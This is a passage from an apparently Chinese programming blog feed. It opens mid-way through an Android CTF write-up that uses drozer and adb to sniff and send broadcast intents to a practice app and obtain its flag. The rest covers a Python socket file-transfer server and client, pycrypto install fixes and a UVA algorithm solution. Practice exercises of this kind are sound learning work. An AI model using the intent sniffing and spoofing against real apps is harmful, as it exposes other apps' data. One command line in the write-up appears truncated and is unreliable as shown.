linux-image-4.13.0-kali1-686-pae</span><br><span class="line">linux-image-4.6.0-kali1-amd64 - Linux 4.6 for 64-bit PCs</span><br><span class="line">linux-headers-4.12.0-kali2-amd64 - Header files for Linux 4.12.0-kali2-amd64</span><br><span class="line">linux-image-4.12.0-kali2-amd64 - Linux 4.12 for 64-bit PCs</span><br></pre></td></tr></table></figure><p> 然后apt-get一下一样版本号和32位或64位的headrs和image,比如: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">apt-get install linux-headers-4.13.0-kali1-amd64</span><br><span class="line">apt-get install linux-image-4.13.0-kali1-amd64</span><br></pre></td></tr></table></figure><p> 然后重启一下,就可以了。 </p><p> 2、第二个问题解决比较简单,它说你的CPU不支持虚拟化,这个问题是在虚拟机中运行时会遇到的问题,在设置—处理器的虚拟化模式里选择虚拟化 Intel VT-x/EPT 或 AMD-V/RVI,就解决了。</p><p> drozer遇到的问题其实挺脑残的,按照readme中的方法安装完依赖包并且build以后,它很多文件夹都是隐藏的,于是我当时挺懵逼的,以为没生成,其实生成的就是你python setup.py xxx,安装文件就在xxx目录里,然后安装就行了。</p><p> 随便下载一个安卓手机的虚拟机,然后运行,用adb查看并注入devices:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@kali: adb devices</span><br><span class="line">List of devices attached</span><br><span class="line">192.168.57.101:5555device</span><br></pre></td></tr></table></figure><p> 工具安装就可以来秒这道题了,首先build一下drozer的agent,就是放在安卓虚拟机中监听的软件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/opt/genymobile/genymotion# drozer agent build</span><br><span class="line">I: Using Apktool 2.2.4 on standard-agent.apk</span><br><span class="line">……</span><br><span class="line">Done: /tmp/xxxxxx/agent.apk</span><br></pre></td></tr></table></figure><p> 然后直接adb install一波,题目和agent.apk: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@kali:adb install /tmp/xxxxxx/agent.apk</span><br><span class="line">Success</span><br><span class="line">root@kali:adb install flagstore.apk</span><br><span class="line">Success</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p> 然后在手机中打开agent,然后连接一下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">root@kali:adb forward tcp:31415 tcp:31415</span><br><span class="line">root@kali:drozer console connect</span><br><span class="line">Selecting 505c86a4845f7221 (Genymotion Samsung Galaxy S8 - 7.0.0 - API 24 - 1440x2960 7.0)</span><br><span class="line"></span><br><span class="line"> .. ..:.</span><br><span class="line"> ..o.. .r..</span><br><span class="line"> ..a.. . ....... . ..nd</span><br><span class="line"> ro..idsnemesisand..pr</span><br><span class="line"> .otectorandroidsneme.</span><br><span class="line"> .,sisandprotectorandroids+.</span><br><span class="line"> ..nemesisandprotectorandroidsn:.</span><br><span class="line"> .emesisandprotectorandroidsnemes..</span><br><span class="line"> ..isandp,..,rotectorandro,..,idsnem.</span><br><span class="line"> .isisandp..rotectorandroid..snemisis.</span><br><span class="line"> ,andprotectorandroidsnemisisandprotec.</span><br><span class="line"> .torandroidsnemesisandprotectorandroid.</span><br><span class="line"> .snemisisandprotectorandroidsnemesisan:</span><br><span class="line"> .dprotectorandroidsnemesisandprotector.</span><br><span class="line"></span><br><span class="line">drozer Console (v2.4.3)</span><br><span class="line">dz> run app.broadcast.sniff --action "com.flagstore.ctf.OUTGOING_INTENT"</span><br></pre></td></tr></table></figure><p>然后在新窗口中发送广播: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@kali: adb shell</span><br><span class="line">vbox86p:/ # su</span><br><span class="line">vbox86p:/ # -a "com.flagstore.ctf.INCOMING_INTENT" --es msg "OpenSesame"</span><br></pre></td></tr></table></figure><p>然后旧窗口就收到了flag: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Action: com.flagstore.ctf.OUTGOING_INTENT</span><br><span class="line">Raw: Intent { act=com.flagstore.ctf.OUTGOING_INTENT flg=0x10 (has extras) }</span><br><span class="line">Extra: msg=CongratsGoodWorkYouFoundItIHopeYouUsedADBFlag:TheseIntentsAreFunAndEasyToUse (java.lang.String)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>Python利用Socket实现文件上传和下载</title>
<link href="http://yoursite.com/2017/09/24/Python%E5%88%A9%E7%94%A8Socket%E5%AE%9E%E7%8E%B0%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%92%8C%E4%B8%8B%E8%BD%BD/"/>
<id>http://yoursite.com/2017/09/24/Python利用Socket实现文件上传和下载/</id>
<published>2017-09-24T06:49:00.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78076845" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78076845</a> </p><p> 第一次写Socket,大家见笑了。注释都很清楚,不多说了。</p><p> 值得一提的是中间碰到过一个bug是:</p><p> unpack requires a bytes object of length </p><p> 百度了半天,某些博主扯了好多都没说清楚</p><p> 其实就是用struct打包了以后字符串流的大小会固定,但是你接收的大小跟你指定的编码方式不一样</p><p> 我这次出错是因为在发压缩包之前先发了个串,然后服务器接到的不是压缩的串所以出错了,所以unpack接收的必须是你pack后的串,不然会出错</p><p> OK,以下是服务器端的代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-09-24 12:25:13</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Max</span><br><span class="line">'''</span><br><span class="line">import threading</span><br><span class="line">import socket</span><br><span class="line">import time</span><br><span class="line">import operator</span><br><span class="line">import os</span><br><span class="line">import struct</span><br><span class="line"></span><br><span class="line">#实现下载功能</span><br><span class="line">def download(connect):</span><br><span class="line">#获取文件目录</span><br><span class="line">files = os.listdir()</span><br><span class="line">#用于传输文件目录的字符串</span><br><span class="line">liststr = ''</span><br><span class="line">#将所有文件名传入字符串中</span><br><span class="line">for i in files:</span><br><span class="line">liststr += i + '\n'</span><br><span class="line">#如果文件列表为空,将不继续执行下载任务</span><br><span class="line">if operator.eq(liststr,''): </span><br><span class="line">connect.send(''.encode())</span><br><span class="line">#如果文件列表不为空,开始下载任务</span><br><span class="line">else :</span><br><span class="line">#向客户端传送文件列表</span><br><span class="line">connect.send(liststr.encode())</span><br><span class="line">while True:</span><br><span class="line">#获取客户端要下载的文件名,如果不存在就继续输入</span><br><span class="line">filename = connect.recv(100).decode()</span><br><span class="line">if filename not in files:</span><br><span class="line">connect.send('文件不存在!'.encode())</span><br><span class="line">else:</span><br><span class="line">connect.send('开始文件传输!'.encode())</span><br><span class="line">break</span><br><span class="line">#将文件信息打包发送给客服端</span><br><span class="line">fhead = struct.pack('128sI',filename.encode(),os.stat(filename).st_size)</span><br><span class="line">connect.send(fhead)</span><br><span class="line">#传送文件信息</span><br><span class="line">with open(filename,'rb') as f:</span><br><span class="line">while True:</span><br><span class="line">filedata = f.read(1024)</span><br><span class="line">if not filedata:</span><br><span class="line">break</span><br><span class="line">connect.send(filedata)</span><br><span class="line">#存储到日志中</span><br><span class="line">print ('%s\n下载文件:\n%s\n成功\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('..')</span><br><span class="line">with open('data.log','a') as f:</span><br><span class="line">f.write('%s\n下载文件:\n%s\n成功\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('files')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#实现上传功能</span><br><span class="line">def upload(connect):</span><br><span class="line">FILEINFO_SIZE = struct.calcsize('128sI')</span><br><span class="line">try:</span><br><span class="line">#获取打包好的文件信息,并解包</span><br><span class="line">fhead = connect.recv(FILEINFO_SIZE)</span><br><span class="line">filename , filesize = struct.unpack('128sI',fhead)</span><br><span class="line">filename = filename.decode().strip('\00')</span><br><span class="line">#文件名必须去掉\00,否则会报错,此处为接收文件</span><br><span class="line">with open ('newnew_'+ filename,'wb') as f:</span><br><span class="line">ressize = filesize</span><br><span class="line">while True:</span><br><span class="line">if ressize>1024:</span><br><span class="line">filedata = connect.recv(1024)</span><br><span class="line">else:</span><br><span class="line">filedata = connect.recv(ressize)</span><br><span class="line">f.write(filedata)</span><br><span class="line">break</span><br><span class="line">if not filedata:</span><br><span class="line">break</span><br><span class="line">f.write(filedata)</span><br><span class="line">ressize = ressize - len(filedata)</span><br><span class="line">if ressize <0:</span><br><span class="line">break</span><br><span class="line">#存储到日志</span><br><span class="line">print ('%s\n传输文件:\n%s\n成功\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('..')</span><br><span class="line">with open('data.log','a') as f:</span><br><span class="line">f.write('%s\n传输文件:\n%s\n成功\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('files')</span><br><span class="line">except Exception as e:</span><br><span class="line">print ('%s\n传输文件:\n%s\n成功\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('..')</span><br><span class="line">with open('data.log','a') as f:</span><br><span class="line">f.write('%s\n传输文件:\n%s\n失败\n\n'%(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),filename))</span><br><span class="line">os.chdir('files')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def handle(connect,address):</span><br><span class="line">print ('%s:%s is connectting...'%(address))</span><br><span class="line">while True:</span><br><span class="line">order = connect.recv(100).decode()</span><br><span class="line">if operator.eq(order,'1'):</span><br><span class="line">download(connect)</span><br><span class="line">elif operator.eq(order,'2'):</span><br><span class="line">upload(connect)</span><br><span class="line">elif operator.eq(order,'3'):</span><br><span class="line">connect.close()</span><br><span class="line">break</span><br><span class="line">connect.send('''</span><br><span class="line">1、 下载文件</span><br><span class="line">2、 上传文件</span><br><span class="line">3、 退出</span><br><span class="line">'''.encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line">if not os.path.exists('files'):</span><br><span class="line">os.mkdir('files')</span><br><span class="line">#工作目录换到files文件夹</span><br><span class="line">os.chdir('files')</span><br><span class="line">#建立socket链接,并监听8002端口</span><br><span class="line">sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">sock.bind(('',8002))</span><br><span class="line">sock.listen(100)</span><br><span class="line">while True:</span><br><span class="line">connect,address = sock.accept()</span><br><span class="line">connect.send('''欢迎使用文件管理服务器,您已经成功连接,请选择您要选用的选项:</span><br><span class="line">1、 下载文件</span><br><span class="line">2、 上传文件</span><br><span class="line">3、 退出</span><br><span class="line">'''.encode())</span><br><span class="line">t = threading.Thread(target = handle,args = (connect,address))</span><br><span class="line">t.setDaemon(True)</span><br><span class="line">t.start()</span><br><span class="line">sock.close()</span><br></pre></td></tr></table></figure><p>以下是客户端的代码: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line">#coding:utf-8</span><br><span class="line">'''</span><br><span class="line">@DateTime: 2017-09-24 14:26:31</span><br><span class="line">@Version: 1.0</span><br><span class="line">@Author: Unname_Max</span><br><span class="line">'''</span><br><span class="line">import socket</span><br><span class="line">import struct</span><br><span class="line">import operator</span><br><span class="line">import time</span><br><span class="line">import os</span><br><span class="line">#实现下载功能</span><br><span class="line">def download(sock):</span><br><span class="line">#从服务端接收文件列表</span><br><span class="line">filelist = sock.recv(1024).decode()</span><br><span class="line">if operator.eq(filelist,''):</span><br><span class="line">print ('没有可以下载的文件')</span><br><span class="line">print (filelist)</span><br><span class="line">#从用户中输入接收文件名,并发送给服务端</span><br><span class="line">filename = input('请输入要下载的文件名:\n')</span><br><span class="line">sock.send(filename.encode())</span><br><span class="line">#获取包大小,并解压</span><br><span class="line">FILEINFO_SIZE = struct.calcsize('128sI')</span><br><span class="line">try:</span><br><span class="line">fhead = sock.recv(1024)</span><br><span class="line">fhead = sock.recv(FILEINFO_SIZE)</span><br><span class="line">filename , filesize = struct.unpack('128sI',fhead)</span><br><span class="line">#接收文件</span><br><span class="line">with open ('new_'+filename.decode().strip('\00'),'wb') as f:</span><br><span class="line">ressize = filesize</span><br><span class="line">while True:</span><br><span class="line">if ressize>1024:</span><br><span class="line">filedata = sock.recv(1024)</span><br><span class="line">else:</span><br><span class="line">filedata = sock.recv(ressize)</span><br><span class="line">f.write(filedata)</span><br><span class="line">break</span><br><span class="line">if not filedata:</span><br><span class="line">break</span><br><span class="line">f.write(filedata)</span><br><span class="line">ressize = ressize - len(filedata)</span><br><span class="line">if ressize <0:</span><br><span class="line">break</span><br><span class="line">print ('文件传输成功!')</span><br><span class="line">except Exception as e:</span><br><span class="line">print (e)</span><br><span class="line">print ('文件传输失败!')</span><br><span class="line">#实现上传功能</span><br><span class="line">def upload(sock):</span><br><span class="line">#获取文件路径,并将文件信息打包发送给服务端</span><br><span class="line">path = input('请输入要上传的文件路径\n')</span><br><span class="line">filename = input('请输入文件名\n')</span><br><span class="line">fhead = struct.pack('128sI',filename.encode(),os.stat(filename).st_size)</span><br><span class="line">sock.send(fhead)</span><br><span class="line">#传送文件</span><br><span class="line">with open (path,'rb') as f:</span><br><span class="line">while True:</span><br><span class="line">filedata = f.read(1024)</span><br><span class="line">if not filedata:</span><br><span class="line">break</span><br><span class="line">sock.send(filedata)</span><br><span class="line">print('文件传输结束')</span><br><span class="line"></span><br><span class="line">def handle(sock):</span><br><span class="line">while True:</span><br><span class="line">order = input()</span><br><span class="line">if operator.eq(order,'1'):</span><br><span class="line">sock.send(order.encode())</span><br><span class="line">download(sock)</span><br><span class="line">elif operator.eq(order,'2'):</span><br><span class="line">sock.send(order.encode())</span><br><span class="line">upload(sock)</span><br><span class="line">elif operator.eq(order,'3'):</span><br><span class="line">print('正在关闭连接...')</span><br><span class="line">time.sleep(0.5)</span><br><span class="line">sock.send(order.encode())</span><br><span class="line">break</span><br><span class="line">else:</span><br><span class="line">print('命令错误,请重新输入!')</span><br><span class="line">continue</span><br><span class="line">line = sock.recv(1024)</span><br><span class="line">print(line.decode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line">#建立socket并连接8002端口</span><br><span class="line">sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">sock.connect(('127.0.0.1',8002))</span><br><span class="line">line = sock.recv(1024)</span><br><span class="line">print(line.decode())</span><br><span class="line">handle(sock)</span><br><span class="line">sock.close()</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>Python3.6安装pycrypto2.61</title>
<link href="http://yoursite.com/2017/09/20/Python3.6%E5%AE%89%E8%A3%85pycrypto2.61/"/>
<id>http://yoursite.com/2017/09/20/Python3.6安装pycrypto2.61/</id>
<published>2017-09-20T11:32:01.000Z</published>
<updated>2019-09-12T06:22:41.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/78044524" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/78044524</a> </p><p> 本来以为自己的Python3.6早就装好了pycrypto,结果发现只是装在了自己的python2.7,因为想要用python3开发后台,利用pycrypto会省很多事儿,于是pip install pycrypto。</p><p> 后来会报错误:</p><p> error: command ‘C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe’ failed with exit status 1158 command ‘C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\cl.exe’ failed with exit status 2</p><p> 然后百度了半天都是瞎扯的,在google上搜到了一个解决方法(假设本机安装了Microsoft Visual Studio2017 Community版):</p><p> 第一步:将D:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.10.25017\include\stdint.h文件拷贝到C:\Program Files (x86)\Windows Kits\10\Include\10.0.15063.0\ucrt\目录下</p><p> 第二步:修改C:\Program Files (x86)\Windows Kits\10\Include\10.0.15063.0\ucrt\inttypes.h中的第13行,将</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#include <stdint.h></span><br></pre></td></tr></table></figure><p>修改为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#include "stdint.h"</span><br></pre></td></tr></table></figure><p>然后再次安装,出现了新问题: </p><p> error: command ‘C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\BIN\x86_amd64\link.exe’ failed with exit status 1158 </p><p> 然后继续google之,一个外国朋友给了一个解决方法:</p><p> 第一步:将C:\Program Files (x86)\Windows Kits\10\bin\x64 加入path</p><p> 第二部:将rc.exe和rcdll.dll两个文件从</p><p> C:\Program Files (x86)\Windows Kits\8.1\bin\x86 </p><p> 复制到</p><p> C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin </p><p> 到此,我已经安装成功了,可是import的时候又出现问题:</p><p> ModuleNotFoundError: No module named ‘Crypto’ </p><p> 原来是因为安装过crypto,再安装pycrypto的时候就会 有冲突,于是卸载掉两个,重新安装pycrypto,新的问题又出现了:</p><p> ModuleNotFoundError: No module named winrandom </p><p> 这次百度解决了:</p><p> 修改python3安装目录下的 lib/Crypto/Random/OSRNG/nt.py 文件中找到 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">import winrandom</span><br></pre></td></tr></table></figure><p>修改为: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">from Crypto.Random.OSRNG import winrandom</span><br></pre></td></tr></table></figure><p> OK,到此就解决全部问题了!~ <img src="../../../../image/31.png" alt></p>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>UVA, 756 Biorhythms</title>
<link href="http://yoursite.com/2017/05/10/UVA,%20756%20Biorhythms/"/>
<id>http://yoursite.com/2017/05/10/UVA, 756 Biorhythms/</id>
<published>2017-05-09T19:09:36.000Z</published>
<updated>2019-09-12T06:22:41.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/71513737" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/71513737</a> </p><p> 题意:某三个指标的峰值周期是23,28,33。现在给你三个指标的时间还有现在的时间,让你求距离下一次碰到三个峰值相同还有多少天。</p><p> 思路:这道题应该是有很多方法的,用中国剩余定理做的话可以百度别人的,别人大部分应该都是用的中国剩余定理做,这里刚看到另外一种借同余式的算法,拿这道题练手~</p><p> 这种算法叫做除数相同法,有关算法的介绍可以看这里,在第四种算法里:</p><p> <a href="http://blog.sina.com.cn/s/blog_a6f9a3b60101favb.html" target="_blank" rel="noopener">http://blog.sina.com.cn/s/blog_a6f9a3b60101favb.html</a></p><p> 代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">using namespace std;</span><br><span class="line">int sum1,sum2=1,sum3;</span><br><span class="line">int t[10];</span><br><span class="line">int now,X;</span><br><span class="line">const int m[]={0,23,28,33};</span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cin.sync_with_stdio(false);</span><br><span class="line"> int ti=1;</span><br><span class="line"> for(int i=1;i<=3;i++)</span><br><span class="line"> sum2*=m[i];</span><br><span class="line"> while(cin>>t[1]>>t[2]>>t[3]>>now&&t[1]!=-1)</span><br><span class="line"> {</span><br><span class="line"> sum1=sum3=0;</span><br><span class="line"> for(int i=1;i<=3;i++)</span><br><span class="line"> {</span><br><span class="line"> sum1+=sum2/m[i];</span><br><span class="line"> sum3+=t[i]*sum2/m[i];</span><br><span 